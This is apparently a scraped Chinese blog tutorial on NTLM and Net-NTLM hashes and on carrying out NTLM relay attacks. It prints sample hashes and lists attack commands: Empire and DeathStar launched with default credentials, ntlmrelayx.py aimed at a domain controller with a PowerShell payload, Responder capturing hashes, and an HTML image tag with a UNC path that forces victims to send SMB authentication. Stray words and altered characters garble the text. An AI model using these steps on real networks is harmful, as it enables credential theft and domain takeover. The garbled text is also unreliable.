一、NTLM(V1/V2)的hash是存放在安全帐户管理(SAM)数据库以及域控的NTDS.dit数据库中,获取该Hash值能够直接进行PtH攻击,我博客中前文也有介绍过。
二、Net-NTLM(V1/V2)的hash值是基于用户的NT的hash值通过必定的算法产生的。html
#NTLM-Hash aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 前面是LMhash后面是NT的Hash #Net-NTLM-Hash admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
说到底,在使用一些服务的过程当中,须要带有windows的自身的认证信息,其实就是Net-NTLM的Hash,而这些东西你可使用像Responder或者Inveigh这些工具得到。而后你获取了这个Net-NTLM的Hash,就能够转给真正的验证服务器去验证,从而做为攻击者的你就能够经过真实的服务器的身份验证,这种攻击方式就称做NTLM中继攻击。python
控制受害者访问一个站点(不存在的最好),你做为攻击者对此做出应答,认证信息会传到你的攻击者的机器上,你对此再作转发,去真实的服务器上认证,便可获取真正服务器的权限。git
sudo python empire --rest --username admin --password admin
github
launcher powershell DeathStar
root@kali:~/DeathStar# ./DeathStar.py --listener-ip kali_ip -t 100 -u admin -p admin
ntlmrelayx.py -t target_ip(例如域控) -c 'powershell脚本生成的内容'
先修改文件(Responder.py):
而后算法
python Responder.py -I eth0 -r -d –v
能够看出中继是认证成功的,可是rpc调用失败了,由于权限不够。shell
在浏览器沙箱不断发展的几天,不少伪协议或者文件协议的访问方式都已经被禁止了,可是SMB依然能够数据库
<img src='\\WIN-8JQH4CQEJIR\User\img\1.jpg'>
这样就能够实现控制的访问。windows